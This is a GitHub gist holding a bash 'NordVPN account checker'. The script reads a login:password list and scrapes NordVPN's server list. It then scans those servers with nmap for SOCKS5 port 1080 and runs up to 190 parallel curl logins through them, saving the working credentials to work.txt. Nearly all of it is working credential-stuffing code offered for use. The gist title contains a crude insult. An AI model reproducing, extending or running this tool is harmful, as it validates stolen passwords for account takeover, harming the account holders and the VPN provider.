Last active
May 6, 2020 12:55
-
-
Save neolead/a3327b87bdd2d0f4b2f16271b707e1e6 to your computer and use it in GitHub Desktop.
nordvpn account checker) v1.пошёл_в_жопу
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Nordvpn account check tool v1.2 Created by matrix | |
# | |
#Run like bash chk2.sh filename.txt filename.txt must be in login:password format | |
#Working proxy accounts will be stored into work.txt Multithreaded tool. default 190 threads, you can change inside. | |
if [[ $# -eq 0 ]] ; then | |
echo 'Nordvpn check tool v1.2' | |
echo 'Created by matrix' | |
echo 'Run like bash chk2.sh filename.txt' | |
echo 'filename.txt must be in login:password format' | |
echo 'Working proxy accounts will be stored into work.txt' | |
exit 0 | |
fi | |
echo 'Nordvpn check tool v1.2' | |
echo 'Created by matrix' | |
echo 'Working proxy accounts will be stored into work.txt' | |
sleep 3 | |
fn=$1 | |
t=`wc -l $fn` | |
out=work.txt | |
threads=190 | |
ct=0 | |
cct=0 | |
echo Getting proxy list | |
curl -i -s https://nordvpn.com/ru/ovpn/ |grep '<span class="mr-2">'|cut -d\> -f2|cut -d\< -f1|shuf -n 150 >/tmp/tm0 | |
echo Check with nmap open ports | |
nmap -Pn -n --open --min-rate 500 -p1080 -iL /tmp/tm0|grep "report for"|awk '{print $5}'>/tmp/tm1;echo Proxy list is count `wc -l /tmp/tm1` of `wc -l /tmp/tm0`;cat /tmp/tm1 | |
echo _________________________________ | |
echo Starting total for checking $t | |
echo _________________________________ | |
cat $fn|tr -d "\r" >$fn.tmp; mv $fn.tmp $fn | |
pr=`shuf -n 1 /tmp/tm1` | |
while read p; do | |
cct=$((cct+1)) | |
pr=`shuf -n 1 /tmp/tm1` | |
ct=`ps|grep curl|wc -l` | |
# ct=$((ct+1)) | |
if [ "$ct" -ge "$threads" ]; then | |
while [ true ]; do | |
if [ `ps|grep curl|wc -l` -ge "$threads" ]; then | |
echo We sleep 5 sec. Current proc running `ps|grep curl|wc -l` Limit : $threads | |
echo Working $cct / $t | |
sleep 5 | |
ct=`ps|grep curl|wc -l` | |
else | |
ct=`ps|grep curl|wc -l` | |
echo We continue, current load $ct of $threads | |
break | |
fi | |
done | |
fi | |
set -- "$p" | |
IFS=":"; declare -a Array=($*) | |
(curl --connect-timeout 8 -m 12 -sf -U ${Array[0]}:${Array[1]} --socks5 $pr:1080 2ip.ru >/dev/null && (echo +Valid:"${Array[0]}:${Array[1]}" && echo "${Array[0]}:${Array[1]}" >>$out) )& | |
done < $fn | |
while [ true ]; do | |
if [ `ps|grep curl|wc -l` -ge 1 ] | |
then | |
echo We sleep 5 sec. Current proc running `ps|grep curl|wc -l` Limit : $threads && sleep 5 | |
else | |
echo We continue, Current proc running `ps|grep curl|wc -l` | |
sleep 3 | |
cp work.txt work_all.txt | |
cat work_all.txt|sort|uniq >work.txt | |
echo total work:`wc -l work_all.txt` clean:`wc -l work.txt` | |
break | |
fi | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment